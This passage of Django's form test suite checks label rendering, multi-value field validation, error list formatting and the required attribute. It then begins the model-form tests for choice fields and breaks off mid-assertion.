<tr><th><label for="id_email">Email:</label></th><td>
<input type="email" name="email" id="id_email" /></td></tr>
<tr class="required error"><th><label class="required" for="id_age">Age:</label></th>
<td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="number" name="age" id="id_age" required /></td></tr>"""
        )

    def test_label_has_required_css_class(self):
        """
        #17922 - required_css_class is added to the label_tag() of required fields.
        """
        class SomeForm(Form):
            required_css_class = 'required'
            field = CharField(max_length=10)
            field2 = IntegerField(required=False)

        f = SomeForm({'field': 'test'})
        self.assertHTMLEqual(f['field'].label_tag(), '<label for="id_field" class="required">Field:</label>')
        self.assertHTMLEqual(
            f['field'].label_tag(attrs={'class': 'foo'}),
            '<label for="id_field" class="foo required">Field:</label>'
        )
        self.assertHTMLEqual(f['field2'].label_tag(), '<label for="id_field2">Field2:</label>')

    def test_label_split_datetime_not_displayed(self):
        class EventForm(Form):
            happened_at = SplitDateTimeField(widget=SplitHiddenDateTimeWidget)

        form = EventForm()
        self.assertHTMLEqual(
            form.as_ul(),
            '<input type="hidden" name="happened_at_0" id="id_happened_at_0" />'
            '<input type="hidden" name="happened_at_1" id="id_happened_at_1" />'
        )

    def test_multivalue_field_validation(self):
        def bad_names(value):
            if value == 'bad value':
                raise ValidationError('bad value not allowed')

        class NameField(MultiValueField):
            def __init__(self, fields=(), *args, **kwargs):
                fields = (CharField(label='First name', max_length=10),
                          CharField(label='Last name', max_length=10))
                super(NameField, self).__init__(fields=fields, *args, **kwargs)

            def compress(self, data_list):
                return ' '.join(data_list)

        class NameForm(Form):
            name = NameField(validators=[bad_names])

        form = NameForm(data={'name': ['bad', 'value']})
        form.full_clean()
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'name': ['bad value not allowed']})
        form = NameForm(data={'name': ['should be overly', 'long for the field names']})
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {'name': ['Ensure this value has at most 10 characters (it has 16).',
                                                'Ensure this value has at most 10 characters (it has 24).']})
        form = NameForm(data={'name': ['fname', 'lname']})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data, {'name': 'fname lname'})

    def test_multivalue_deep_copy(self):
        """
        #19298 -- MultiValueField needs to override the default as it needs
        to deep-copy subfields:
        """
        class ChoicesField(MultiValueField):
            def __init__(self, fields=(), *args, **kwargs):
                fields = (
                    ChoiceField(label='Rank', choices=((1, 1), (2, 2))),
                    CharField(label='Name', max_length=10),
                )
                super(ChoicesField, self).__init__(fields=fields, *args, **kwargs)

        field = ChoicesField()
        field2 = copy.deepcopy(field)
        self.assertIsInstance(field2, ChoicesField)
        self.assertIsNot(field2.fields, field.fields)
        self.assertIsNot(field2.fields[0].choices, field.fields[0].choices)

    def test_multivalue_initial_data(self):
        """
        #23674 -- invalid initial data should not break form.changed_data()
        """
        class DateAgeField(MultiValueField):
            def __init__(self, fields=(), *args, **kwargs):
                fields = (DateField(label="Date"), IntegerField(label="Age"))
                super(DateAgeField, self).__init__(fields=fields, *args, **kwargs)

        class DateAgeForm(Form):
            date_age = DateAgeField()

        data = {"date_age": ["1998-12-06", 16]}
        form = DateAgeForm(data, initial={"date_age": ["200-10-10", 14]})
        self.assertTrue(form.has_changed())

    def test_multivalue_optional_subfields(self):
        class PhoneField(MultiValueField):
            def __init__(self, *args, **kwargs):
                fields = (
                    CharField(label='Country Code', validators=[
                        RegexValidator(r'^\+[0-9]{1,2}$', message='Enter a valid country code.')]),
                    CharField(label='Phone Number'),
                    CharField(label='Extension', error_messages={'incomplete': 'Enter an extension.'}),
                    CharField(label='Label', required=False, help_text='E.g. home, work.'),
                )
                super(PhoneField, self).__init__(fields, *args, **kwargs)

            def compress(self, data_list):
                if data_list:
                    return '%s.%s ext. %s (label: %s)' % tuple(data_list)
                return None

        # An empty value for any field will raise a `required` error on a
        # required `MultiValueField`.
        f = PhoneField()
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean([])
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(['+61'])
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(['+61', '287654321', '123'])
        self.assertEqual('+61.287654321 ext. 123 (label: Home)', f.clean(['+61', '287654321', '123', 'Home']))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid country code.'"):
            f.clean(['61', '287654321', '123', 'Home'])

        # Empty values for fields will NOT raise a `required` error on an
        # optional `MultiValueField`
        f = PhoneField(required=False)
        self.assertIsNone(f.clean(''))
        self.assertIsNone(f.clean(None))
        self.assertIsNone(f.clean([]))
        self.assertEqual('+61. ext.  (label: )', f.clean(['+61']))
        self.assertEqual('+61.287654321 ext. 123 (label: )', f.clean(['+61', '287654321', '123']))
        self.assertEqual('+61.287654321 ext. 123 (label: Home)', f.clean(['+61', '287654321', '123', 'Home']))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid country code.'"):
            f.clean(['61', '287654321', '123', 'Home'])

        # For a required `MultiValueField` with `require_all_fields=False`, a
        # `required` error will only be raised if all fields are empty. Fields
        # can individually be required or optional. An empty value for any
        # required field will raise an `incomplete` error.
        f = PhoneField(require_all_fields=False)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean([])
        with self.assertRaisesMessage(ValidationError, "'Enter a complete value.'"):
            f.clean(['+61'])
        self.assertEqual('+61.287654321 ext. 123 (label: )', f.clean(['+61', '287654321', '123']))
        six.assertRaisesRegex(
            self, ValidationError,
            "'Enter a complete value\.', u?'Enter an extension\.'", f.clean, ['', '', '', 'Home']
        )
        with self.assertRaisesMessage(ValidationError, "'Enter a valid country code.'"):
            f.clean(['61', '287654321', '123', 'Home'])

        # For an optional `MultiValueField` with `require_all_fields=False`, we
        # don't get any `required` error but we still get `incomplete` errors.
        f = PhoneField(required=False, require_all_fields=False)
        self.assertIsNone(f.clean(''))
        self.assertIsNone(f.clean(None))
        self.assertIsNone(f.clean([]))
        with self.assertRaisesMessage(ValidationError, "'Enter a complete value.'"):
            f.clean(['+61'])
        self.assertEqual('+61.287654321 ext. 123 (label: )', f.clean(['+61', '287654321', '123']))
        six.assertRaisesRegex(
            self, ValidationError,
            "'Enter a complete value\.', u?'Enter an extension\.'", f.clean, ['', '', '', 'Home']
        )
        with self.assertRaisesMessage(ValidationError, "'Enter a valid country code.'"):
            f.clean(['61', '287654321', '123', 'Home'])

    def test_custom_empty_values(self):
        """
        Test that form fields can customize what is considered as an empty value
        for themselves (#19997).
        """
        class CustomJSONField(CharField):
            empty_values = [None, '']

            def to_python(self, value):
                # Fake json.loads
                if value == '{}':
                    return {}
                return super(CustomJSONField, self).to_python(value)

        class JSONForm(forms.Form):
            json = CustomJSONField()

        form = JSONForm(data={'json': '{}'})
        form.full_clean()
        self.assertEqual(form.cleaned_data, {'json': {}})

    def test_boundfield_label_tag(self):
        class SomeForm(Form):
            field = CharField()
        boundfield = SomeForm()['field']

        testcases = [  # (args, kwargs, expected)
            # without anything: just print the <label>
            ((), {}, '<label for="id_field">Field:</label>'),

            # passing just one argument: overrides the field's label
            (('custom',), {}, '<label for="id_field">custom:</label>'),

            # the overridden label is escaped
            (('custom&',), {}, '<label for="id_field">custom&amp;:</label>'),
            ((mark_safe('custom&'),), {}, '<label for="id_field">custom&:</label>'),

            # Passing attrs to add extra attributes on the <label>
            ((), {'attrs': {'class': 'pretty'}}, '<label for="id_field" class="pretty">Field:</label>')
        ]

        for args, kwargs, expected in testcases:
            self.assertHTMLEqual(boundfield.label_tag(*args, **kwargs), expected)

    def test_boundfield_label_tag_no_id(self):
        """
        If a widget has no id, label_tag just returns the text with no
        surrounding <label>.
        """
        class SomeForm(Form):
            field = CharField()
        boundfield = SomeForm(auto_id='')['field']

        self.assertHTMLEqual(boundfield.label_tag(), 'Field:')
        self.assertHTMLEqual(boundfield.label_tag('Custom&'), 'Custom&amp;:')

    def test_boundfield_label_tag_custom_widget_id_for_label(self):
        class CustomIdForLabelTextInput(TextInput):
            def id_for_label(self, id):
                return 'custom_' + id

        class EmptyIdForLabelTextInput(TextInput):
            def id_for_label(self, id):
                return None

        class SomeForm(Form):
            custom = CharField(widget=CustomIdForLabelTextInput)
            empty = CharField(widget=EmptyIdForLabelTextInput)

        form = SomeForm()
        self.assertHTMLEqual(form['custom'].label_tag(), '<label for="custom_id_custom">Custom:</label>')
        self.assertHTMLEqual(form['empty'].label_tag(), '<label>Empty:</label>')

    def test_boundfield_empty_label(self):
        class SomeForm(Form):
            field = CharField(label='')
        boundfield = SomeForm()['field']

        self.assertHTMLEqual(boundfield.label_tag(), '<label for="id_field"></label>')

    def test_boundfield_id_for_label(self):
        class SomeForm(Form):
            field = CharField(label='')

        self.assertEqual(SomeForm()['field'].id_for_label, 'id_field')

    def test_boundfield_id_for_label_override_by_attrs(self):
        """
        If an id is provided in `Widget.attrs`, it overrides the generated ID,
        unless it is `None`.
        """
        class SomeForm(Form):
            field = CharField(widget=TextInput(attrs={'id': 'myCustomID'}))
            field_none = CharField(widget=TextInput(attrs={'id': None}))

        form = SomeForm()
        self.assertEqual(form['field'].id_for_label, 'myCustomID')
        self.assertEqual(form['field_none'].id_for_label, 'id_field_none')

    def test_label_tag_override(self):
        """
        BoundField label_suffix (if provided) overrides Form label_suffix
        """
        class SomeForm(Form):
            field = CharField()
        boundfield = SomeForm(label_suffix='!')['field']

        self.assertHTMLEqual(boundfield.label_tag(label_suffix='$'), '<label for="id_field">Field$</label>')

    def test_field_name(self):
        """#5749 - `field_name` may be used as a key in _html_output()."""
        class SomeForm(Form):
            some_field = CharField()

            def as_p(self):
                return self._html_output(
                    normal_row='<p id="p_%(field_name)s"></p>',
                    error_row='%s',
                    row_ender='</p>',
                    help_text_html=' %s',
                    errors_on_separate_row=True,
                )

        form = SomeForm()
        self.assertHTMLEqual(form.as_p(), '<p id="p_some_field"></p>')

    def test_field_without_css_classes(self):
        """
        `css_classes` may be used as a key in _html_output() (empty classes).
        """
        class SomeForm(Form):
            some_field = CharField()

            def as_p(self):
                return self._html_output(
                    normal_row='<p class="%(css_classes)s"></p>',
                    error_row='%s',
                    row_ender='</p>',
                    help_text_html=' %s',
                    errors_on_separate_row=True,
                )

        form = SomeForm()
        self.assertHTMLEqual(form.as_p(), '<p class=""></p>')

    def test_field_with_css_class(self):
        """
        `css_classes` may be used as a key in _html_output() (class comes
        from required_css_class in this case).
        """
        class SomeForm(Form):
            some_field = CharField()
            required_css_class = 'foo'

            def as_p(self):
                return self._html_output(
                    normal_row='<p class="%(css_classes)s"></p>',
                    error_row='%s',
                    row_ender='</p>',
                    help_text_html=' %s',
                    errors_on_separate_row=True,
                )

        form = SomeForm()
        self.assertHTMLEqual(form.as_p(), '<p class="foo"></p>')

    def test_field_name_with_hidden_input(self):
        """
        BaseForm._html_output() should merge all the hidden input fields and
        put them in the last row.
        """
        class SomeForm(Form):
            hidden1 = CharField(widget=HiddenInput)
            custom = CharField()
            hidden2 = CharField(widget=HiddenInput)

            def as_p(self):
                return self._html_output(
                    normal_row='<p%(html_class_attr)s>%(field)s %(field_name)s</p>',
                    error_row='%s',
                    row_ender='</p>',
                    help_text_html=' %s',
                    errors_on_separate_row=True,
                )

        form = SomeForm()
        self.assertHTMLEqual(
            form.as_p(),
            '<p><input id="id_custom" name="custom" type="text" required /> custom'
            '<input id="id_hidden1" name="hidden1" type="hidden" />'
            '<input id="id_hidden2" name="hidden2" type="hidden" /></p>'
        )

    def test_field_name_with_hidden_input_and_non_matching_row_ender(self):
        """
        BaseForm._html_output() should merge all the hidden input fields and
        put them in the last row ended with the specific row ender.
        """
        class SomeForm(Form):
            hidden1 = CharField(widget=HiddenInput)
            custom = CharField()
            hidden2 = CharField(widget=HiddenInput)

            def as_p(self):
                return self._html_output(
                    normal_row='<p%(html_class_attr)s>%(field)s %(field_name)s</p>',
                    error_row='%s',
                    row_ender='<hr /><hr />',
                    help_text_html=' %s',
                    errors_on_separate_row=True
                )

        form = SomeForm()
        self.assertHTMLEqual(
            form.as_p(),
            '<p><input id="id_custom" name="custom" type="text" required /> custom</p>\n'
            '<input id="id_hidden1" name="hidden1" type="hidden" />'
            '<input id="id_hidden2" name="hidden2" type="hidden" /><hr /><hr />'
        )

    def test_error_dict(self):
        class MyForm(Form):
            foo = CharField()
            bar = CharField()

            def clean(self):
                raise ValidationError('Non-field error.', code='secret', params={'a': 1, 'b': 2})

        form = MyForm({})
        self.assertIs(form.is_valid(), False)

        errors = form.errors.as_text()
        control = [
            '* foo\n  * This field is required.',
            '* bar\n  * This field is required.',
            '* __all__\n  * Non-field error.',
        ]
        for error in control:
            self.assertIn(error, errors)

        errors = form.errors.as_ul()
        control = [
            '<li>foo<ul class="errorlist"><li>This field is required.</li></ul></li>',
            '<li>bar<ul class="errorlist"><li>This field is required.</li></ul></li>',
            '<li>__all__<ul class="errorlist nonfield"><li>Non-field error.</li></ul></li>',
        ]
        for error in control:
            self.assertInHTML(error, errors)

        errors = json.loads(form.errors.as_json())
        control = {
            'foo': [{'code': 'required', 'message': 'This field is required.'}],
            'bar': [{'code': 'required', 'message': 'This field is required.'}],
            '__all__': [{'code': 'secret', 'message': 'Non-field error.'}]
        }
        self.assertEqual(errors, control)

    def test_error_dict_as_json_escape_html(self):
        """#21962 - adding html escape flag to ErrorDict"""
        class MyForm(Form):
            foo = CharField()
            bar = CharField()

            def clean(self):
                raise ValidationError('<p>Non-field error.</p>',
                                      code='secret',
                                      params={'a': 1, 'b': 2})

        control = {
            'foo': [{'code': 'required', 'message': 'This field is required.'}],
            'bar': [{'code': 'required', 'message': 'This field is required.'}],
            '__all__': [{'code': 'secret', 'message': '<p>Non-field error.</p>'}]
        }

        form = MyForm({})
        self.assertFalse(form.is_valid())

        errors = json.loads(form.errors.as_json())
        self.assertEqual(errors, control)

        errors = json.loads(form.errors.as_json(escape_html=True))
        control['__all__'][0]['message'] = '&lt;p&gt;Non-field error.&lt;/p&gt;'
        self.assertEqual(errors, control)

    def test_error_list(self):
        e = ErrorList()
        e.append('Foo')
        e.append(ValidationError('Foo%(bar)s', code='foobar', params={'bar': 'bar'}))

        self.assertIsInstance(e, list)
        self.assertIn('Foo', e)
        self.assertIn('Foo', forms.ValidationError(e))

        self.assertEqual(
            e.as_text(),
            '* Foo\n* Foobar'
        )

        self.assertEqual(
            e.as_ul(),
            '<ul class="errorlist"><li>Foo</li><li>Foobar</li></ul>'
        )

        self.assertEqual(
            json.loads(e.as_json()),
            [{"message": "Foo", "code": ""}, {"message": "Foobar", "code": "foobar"}]
        )

    def test_error_list_class_not_specified(self):
        e = ErrorList()
        e.append('Foo')
        e.append(ValidationError('Foo%(bar)s', code='foobar', params={'bar': 'bar'}))
        self.assertEqual(
            e.as_ul(),
            '<ul class="errorlist"><li>Foo</li><li>Foobar</li></ul>'
        )

    def test_error_list_class_has_one_class_specified(self):
        e = ErrorList(error_class='foobar-error-class')
        e.append('Foo')
        e.append(ValidationError('Foo%(bar)s', code='foobar', params={'bar': 'bar'}))
        self.assertEqual(
            e.as_ul(),
            '<ul class="errorlist foobar-error-class"><li>Foo</li><li>Foobar</li></ul>'
        )

    def test_error_list_with_hidden_field_errors_has_correct_class(self):
        class Person(Form):
            first_name = CharField()
            last_name = CharField(widget=HiddenInput)

        p = Person({'first_name': 'John'})
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><ul class="errorlist nonfield">
<li>(Hidden field last_name) This field is required.</li></ul></li><li>
<label for="id_first_name">First name:</label>
<input id="id_first_name" name="first_name" type="text" value="John" required />
<input id="id_last_name" name="last_name" type="hidden" /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<ul class="errorlist nonfield"><li>(Hidden field last_name) This field is required.</li></ul>
<p><label for="id_first_name">First name:</label>
<input id="id_first_name" name="first_name" type="text" value="John" required />
<input id="id_last_name" name="last_name" type="hidden" /></p>"""
        )
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><td colspan="2"><ul class="errorlist nonfield">
<li>(Hidden field last_name) This field is required.</li></ul></td></tr>
<tr><th><label for="id_first_name">First name:</label></th><td>
<input id="id_first_name" name="first_name" type="text" value="John" required />
<input id="id_last_name" name="last_name" type="hidden" /></td></tr>"""
        )

    def test_error_list_with_non_field_errors_has_correct_class(self):
        class Person(Form):
            first_name = CharField()
            last_name = CharField()

            def clean(self):
                raise ValidationError('Generic validation error')

        p = Person({'first_name': 'John', 'last_name': 'Lennon'})
        self.assertHTMLEqual(
            str(p.non_field_errors()),
            '<ul class="errorlist nonfield"><li>Generic validation error</li></ul>'
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>
<ul class="errorlist nonfield"><li>Generic validation error</li></ul></li>
<li><label for="id_first_name">First name:</label>
<input id="id_first_name" name="first_name" type="text" value="John" required /></li>
<li><label for="id_last_name">Last name:</label>
<input id="id_last_name" name="last_name" type="text" value="Lennon" required /></li>"""
        )
        self.assertHTMLEqual(
            p.non_field_errors().as_text(),
            '* Generic validation error'
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<ul class="errorlist nonfield"><li>Generic validation error</li></ul>
<p><label for="id_first_name">First name:</label>
<input id="id_first_name" name="first_name" type="text" value="John" required /></p>
<p><label for="id_last_name">Last name:</label>
<input id="id_last_name" name="last_name" type="text" value="Lennon" required /></p>"""
        )
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><td colspan="2"><ul class="errorlist nonfield"><li>Generic validation error</li></ul></td></tr>
<tr><th><label for="id_first_name">First name:</label></th><td>
<input id="id_first_name" name="first_name" type="text" value="John" required /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th><td>
<input id="id_last_name" name="last_name" type="text" value="Lennon" required /></td></tr>"""
        )

    def test_errorlist_override(self):
        @python_2_unicode_compatible
        class DivErrorList(ErrorList):
            def __str__(self):
                return self.as_divs()

            def as_divs(self):
                if not self:
                    return ''
                return '<div class="errorlist">%s</div>' % ''.join(
                    '<div class="error">%s</div>' % force_text(e) for e in self)

        class CommentForm(Form):
            name = CharField(max_length=50, required=False)
            email = EmailField()
            comment = CharField()

        data = dict(email='invalid')
        f = CommentForm(data, auto_id=False, error_class=DivErrorList)
        self.assertHTMLEqual(f.as_p(), """<p>Name: <input type="text" name="name" maxlength="50" /></p>
<div class="errorlist"><div class="error">Enter a valid email address.</div></div>
<p>Email: <input type="email" name="email" value="invalid" required /></p>
<div class="errorlist"><div class="error">This field is required.</div></div>
<p>Comment: <input type="text" name="comment" required /></p>""")

    def test_baseform_repr(self):
        """
        BaseForm.__repr__() should contain some basic information about the
        form.
        """
        p = Person()
        self.assertEqual(repr(p), "<Person bound=False, valid=Unknown, fields=(first_name;last_name;birthday)>")
        p = Person({'first_name': 'John', 'last_name': 'Lennon', 'birthday': '1940-10-9'})
        self.assertEqual(repr(p), "<Person bound=True, valid=Unknown, fields=(first_name;last_name;birthday)>")
        p.is_valid()
        self.assertEqual(repr(p), "<Person bound=True, valid=True, fields=(first_name;last_name;birthday)>")
        p = Person({'first_name': 'John', 'last_name': 'Lennon', 'birthday': 'fakedate'})
        p.is_valid()
        self.assertEqual(repr(p), "<Person bound=True, valid=False, fields=(first_name;last_name;birthday)>")

    def test_baseform_repr_dont_trigger_validation(self):
        """
        BaseForm.__repr__() shouldn't trigger the form validation.
        """
        p = Person({'first_name': 'John', 'last_name': 'Lennon', 'birthday': 'fakedate'})
        repr(p)
        with self.assertRaises(AttributeError):
            p.cleaned_data
        self.assertFalse(p.is_valid())
        self.assertEqual(p.cleaned_data, {'first_name': 'John', 'last_name': 'Lennon'})

    def test_accessing_clean(self):
        class UserForm(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)

            def clean(self):
                data = self.cleaned_data

                if not self.errors:
                    data['username'] = data['username'].lower()

                return data

        f = UserForm({'username': 'SirRobin', 'password': 'blue'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['username'], 'sirrobin')

    def test_changing_cleaned_data_nothing_returned(self):
        class UserForm(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)

            def clean(self):
                self.cleaned_data['username'] = self.cleaned_data['username'].lower()
                # don't return anything

        f = UserForm({'username': 'SirRobin', 'password': 'blue'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['username'], 'sirrobin')

    def test_changing_cleaned_data_in_clean(self):
        class UserForm(Form):
            username = CharField(max_length=10)
            password = CharField(widget=PasswordInput)

            def clean(self):
                data = self.cleaned_data

                # Return a different dict. We have not changed self.cleaned_data.
                return {
                    'username': data['username'].lower(),
                    'password': 'this_is_not_a_secret',
                }

        f = UserForm({'username': 'SirRobin', 'password': 'blue'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['username'], 'sirrobin')

    def test_multipart_encoded_form(self):
        class FormWithoutFile(Form):
            username = CharField()

        class FormWithFile(Form):
            username = CharField()
            file = FileField()

        class FormWithImage(Form):
            image = ImageField()

        self.assertFalse(FormWithoutFile().is_multipart())
        self.assertTrue(FormWithFile().is_multipart())
        self.assertTrue(FormWithImage().is_multipart())

    def test_html_safe(self):
        class SimpleForm(Form):
            username = CharField()

        form = SimpleForm()
        self.assertTrue(hasattr(SimpleForm, '__html__'))
        self.assertEqual(force_text(form), form.__html__())
        self.assertTrue(hasattr(form['username'], '__html__'))
        self.assertEqual(force_text(form['username']), form['username'].__html__())

    def test_use_required_attribute_true(self):
        class MyForm(Form):
            use_required_attribute = True
            f1 = CharField(max_length=30)
            f2 = CharField(max_length=30, required=False)
            f3 = CharField(widget=Textarea)
            f4 = ChoiceField(choices=[('P', 'Python'), ('J', 'Java')])

        form = MyForm()
        self.assertHTMLEqual(
            form.as_p(),
            '<p><label for="id_f1">F1:</label> <input id="id_f1" maxlength="30" name="f1" type="text" required /></p>'
            '<p><label for="id_f2">F2:</label> <input id="id_f2" maxlength="30" name="f2" type="text" /></p>'
            '<p><label for="id_f3">F3:</label> <textarea cols="40" id="id_f3" name="f3" rows="10" required>'
            '</textarea></p>'
            '<p><label for="id_f4">F4:</label> <select id="id_f4" name="f4" required>'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></p>',
        )
        self.assertHTMLEqual(
            form.as_ul(),
            '<li><label for="id_f1">F1:</label> '
            '<input id="id_f1" maxlength="30" name="f1" type="text" required /></li>'
            '<li><label for="id_f2">F2:</label> <input id="id_f2" maxlength="30" name="f2" type="text" /></li>'
            '<li><label for="id_f3">F3:</label> <textarea cols="40" id="id_f3" name="f3" rows="10" required>'
            '</textarea></li>'
            '<li><label for="id_f4">F4:</label> <select id="id_f4" name="f4" required>'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></li>',
        )
        self.assertHTMLEqual(
            form.as_table(),
            '<tr><th><label for="id_f1">F1:</label></th>'
            '<td><input id="id_f1" maxlength="30" name="f1" type="text" required /></td></tr>'
            '<tr><th><label for="id_f2">F2:</label></th>'
            '<td><input id="id_f2" maxlength="30" name="f2" type="text" /></td></tr>'
            '<tr><th><label for="id_f3">F3:</label></th>'
            '<td><textarea cols="40" id="id_f3" name="f3" rows="10" required>'
            '</textarea></td></tr>'
            '<tr><th><label for="id_f4">F4:</label></th><td><select id="id_f4" name="f4" required>'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></td></tr>',
        )

    def test_use_required_attribute_false(self):
        class MyForm(Form):
            use_required_attribute = False
            f1 = CharField(max_length=30)
            f2 = CharField(max_length=30, required=False)
            f3 = CharField(widget=Textarea)
            f4 = ChoiceField(choices=[('P', 'Python'), ('J', 'Java')])

        form = MyForm()
        self.assertHTMLEqual(
            form.as_p(),
            '<p><label for="id_f1">F1:</label> <input id="id_f1" maxlength="30" name="f1" type="text" /></p>'
            '<p><label for="id_f2">F2:</label> <input id="id_f2" maxlength="30" name="f2" type="text" /></p>'
            '<p><label for="id_f3">F3:</label> <textarea cols="40" id="id_f3" name="f3" rows="10">'
            '</textarea></p>'
            '<p><label for="id_f4">F4:</label> <select id="id_f4" name="f4">'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></p>',
        )
        self.assertHTMLEqual(
            form.as_ul(),
            '<li><label for="id_f1">F1:</label> <input id="id_f1" maxlength="30" name="f1" type="text" /></li>'
            '<li><label for="id_f2">F2:</label> <input id="id_f2" maxlength="30" name="f2" type="text" /></li>'
            '<li><label for="id_f3">F3:</label> <textarea cols="40" id="id_f3" name="f3" rows="10">'
            '</textarea></li>'
            '<li><label for="id_f4">F4:</label> <select id="id_f4" name="f4">'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></li>',
        )
        self.assertHTMLEqual(
            form.as_table(),
            '<tr><th><label for="id_f1">F1:</label></th>'
            '<td><input id="id_f1" maxlength="30" name="f1" type="text" /></td></tr>'
            '<tr><th><label for="id_f2">F2:</label></th>'
            '<td><input id="id_f2" maxlength="30" name="f2" type="text" /></td></tr>'
            '<tr><th><label for="id_f3">F3:</label></th><td><textarea cols="40" id="id_f3" name="f3" rows="10">'
            '</textarea></td></tr>'
            '<tr><th><label for="id_f4">F4:</label></th><td><select id="id_f4" name="f4">'
            '<option value="P">Python</option>'
            '<option value="J">Java</option>'
            '</select></td></tr>',
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.core.files.uploadedfile import SimpleUploadedFile
from django.db import models
from django.forms import (
    CharField, FileField, Form, ModelChoiceField, ModelForm,
)
from django.forms.models import ModelFormMetaclass
from django.test import SimpleTestCase, TestCase
from django.utils import six

from ..models import (
    BoundaryModel, ChoiceFieldModel, ChoiceModel, ChoiceOptionModel, Defaults,
    FileModel, Group, OptionalMultiChoiceModel,
)


class ChoiceFieldForm(ModelForm):
    class Meta:
        model = ChoiceFieldModel
        fields = '__all__'


class OptionalMultiChoiceModelForm(ModelForm):
    class Meta:
        model = OptionalMultiChoiceModel
        fields = '__all__'


class ChoiceFieldExclusionForm(ModelForm):
    multi_choice = CharField(max_length=50)

    class Meta:
        exclude = ['multi_choice']
        model = ChoiceFieldModel


class EmptyCharLabelChoiceForm(ModelForm):
    class Meta:
        model = ChoiceModel
        fields = ['name', 'choice']


class EmptyIntegerLabelChoiceForm(ModelForm):
    class Meta:
        model = ChoiceModel
        fields = ['name', 'choice_integer']


class EmptyCharLabelNoneChoiceForm(ModelForm):
    class Meta:
        model = ChoiceModel
        fields = ['name', 'choice_string_w_none']


class FileForm(Form):
    file1 = FileField()


class TestModelChoiceField(TestCase):

    def test_choices_not_fetched_when_not_rendering(self):
        """
        Generating choices for ModelChoiceField should require 1 query (#12510).
        """
        self.groups = [Group.objects.create(name=name) for name in 'abc']
        # only one query is required to pull the model from DB
        with self.assertNumQueries(1):
            field = ModelChoiceField(Group.objects.order_by('-name'))
            self.assertEqual('a', field.clean(self.groups[0].pk).name)

    def test_queryset_manager(self):
        f = ModelChoiceField(ChoiceOptionModel.objects)
        choice = ChoiceOptionModel.objects.create(name="choice 1")
        self.assertEqual(list(f.choices), [('', '---------'), (choice.pk, str(choice))])


class TestTicket14567(TestCase):
    """
    Check that the return values of ModelMultipleChoiceFields are QuerySets
    """
    def test_empty_queryset_return(self):
        "If a model's ManyToManyField has blank=True and is saved with no data, a queryset is returned."
        option = ChoiceOptionModel.objects.create(name='default')
        form = OptionalMultiChoiceModelForm({'multi_choice_optional': '', 'multi_choice': [option.pk]})
        self.assertTrue(form.is_valid())
        # Check that the empty value is a QuerySet
        self.assertIsInstance(form.cleaned_data['multi_choice_optional'], models.query.QuerySet)
        # While we're at it, test whether a QuerySet is returned if there *is* a value.
        self.assertIsInstance(form.cleaned_data['multi_choice'], models.query.QuerySet)


class ModelFormCallableModelDefault(TestCase):
    def test_no_empty_option(self):
        "If a model's ForeignKey has blank=False and a default, no empty option is created (Refs #10792)."
        option = ChoiceOptionModel.objects.create(name='default')

        choices = list(ChoiceFieldForm().fields['choice'].choices)
        self.assertEqual(len(choices), 1)
        self.assertEqual(choices[0], (option.pk, six.text_type(option)))

    def test_callable_initial_value(self):
        "The initial value for a callable default returning a queryset is the pk (refs #13769)"
        ChoiceOptionModel.objects.create(id=1, name='default')
        ChoiceOptionModel.objects.create(id=2, name='option 2')
        ChoiceOptionModel.objects.create(id=3, name='option 3')
        self.assertHTMLEqual(
            ChoiceFieldForm().as_p(),
            """<p><label for="id_choice">Choice:</label> <select name="choice" id="id_choice" required>
<option value="1" selected="selected">ChoiceOption 1</option>
<option value="2">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
</select><input type="hidden" name="initial-choice" value="1" id="initial-id_choice" /></p>
<p><label for="id_choice_int">Choice int:</label> <select name="choice_int" id="id_choice_int" required>
<option value="1" selected="selected">ChoiceOption 1</option>
<option value="2">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
</select><input type="hidden" name="initial-choice_int" value="1" id="initial-id_choice_int" /></p>
<p><label for="id_multi_choice">Multi choice:</label>
<select multiple="multiple" name="multi_choice" id="id_multi_choice" required>
<option value="1" selected="selected">ChoiceOption 1</option>
<option value="2">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
</select><input type="hidden" name="initial-multi_choice" value="1" id="initial-id_multi_choice_0" /></p>
<p><label for="id_multi_choice_int">Multi choice int:</label>
<select multiple="multiple" name="multi_choice_int" id="id_multi_choice_int" required>
<option value="1" selected="selected">ChoiceOption 1</option>
<option value="2">ChoiceOption 2</option>
<option value="3">ChoiceOption 3</option>
